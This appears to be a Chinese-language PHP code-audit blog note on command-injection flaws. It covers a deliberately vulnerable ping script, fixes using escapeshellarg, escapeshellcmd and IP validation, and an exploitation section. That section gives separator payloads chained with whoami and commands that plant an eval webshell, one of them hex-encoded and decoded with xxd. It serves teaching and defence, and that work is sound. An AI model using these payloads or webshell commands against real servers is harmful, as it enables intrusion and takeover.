PHP代码审计笔记–命令执行漏洞
定义:命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令。
漏洞实例:
<?php
$target=$_REQUEST['ip'];
$cmd = shell_exec('ping '.$target);
echo "<pre>{$cmd}</pre>";
?>
当在网页提交 http://127.0.0.1/cmd.php?ip=|whoami
提交以后,命令变成了 shell_exec('ping '.|whoami)
进行了一次命令执行漏洞,当shell_exec执行函数在正常执行命令ping时,通过 " | " 截断执行了后面的代码,显示命令执行漏洞的代码。
常用命令执行函数
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
system() 输出并返回最后一行shell结果。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针。
<?php
#system('net user'); //输出并执行 net user
#passthru ('dir');
#echo exec('whoami');
#echo shell_exec('whoami');
#echo `whoami`;
?>
如何防止命令执行漏洞
PHP内置的两个函数可以有效防止命令执行:
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。资料参考:http://cn.php.net/manual/zh/function.escapeshellarg.php
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。资料参考:http://cn.php.net/manual/zh/function.escapeshellcmd.php
当然,修复方法还有很多方式,修复方式一般有两种思维:
1、黑名单:过滤特殊字符或替换字符
2、白名单:只允许特殊输入的类型/长度
修复代码一:
<?php
$target=$_REQUEST['ip'];
$cmd = shell_exec('ping '. escapeshellcmd($target));
echo "<pre>{$cmd}</pre>";
?>
修复代码二:
<?php
$target=$_REQUEST['ip'];
$octet = explode( ".", $target );
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
$cmd = shell_exec('ping '.$target);
echo "<pre>{$cmd}</pre>";
}
else {
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
?>
命令执行利用及绕过姿势
写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>,方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
后面命令注入也有时间盲注和sql注入很像
| 命令管道符
<>>> 文件重定向符
测试: 0 | dir c:
代码只过滤了部分特殊字符,可以考虑用其他字符进行测试,这边列举一下Window/Linux可利用的特殊字符:
windows支持:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
划划水 命令执行函数的预防很简单 注意函数的使用和全局函数的利用方法
Linux支持:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
11 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
有错的地方欢迎大佬指错!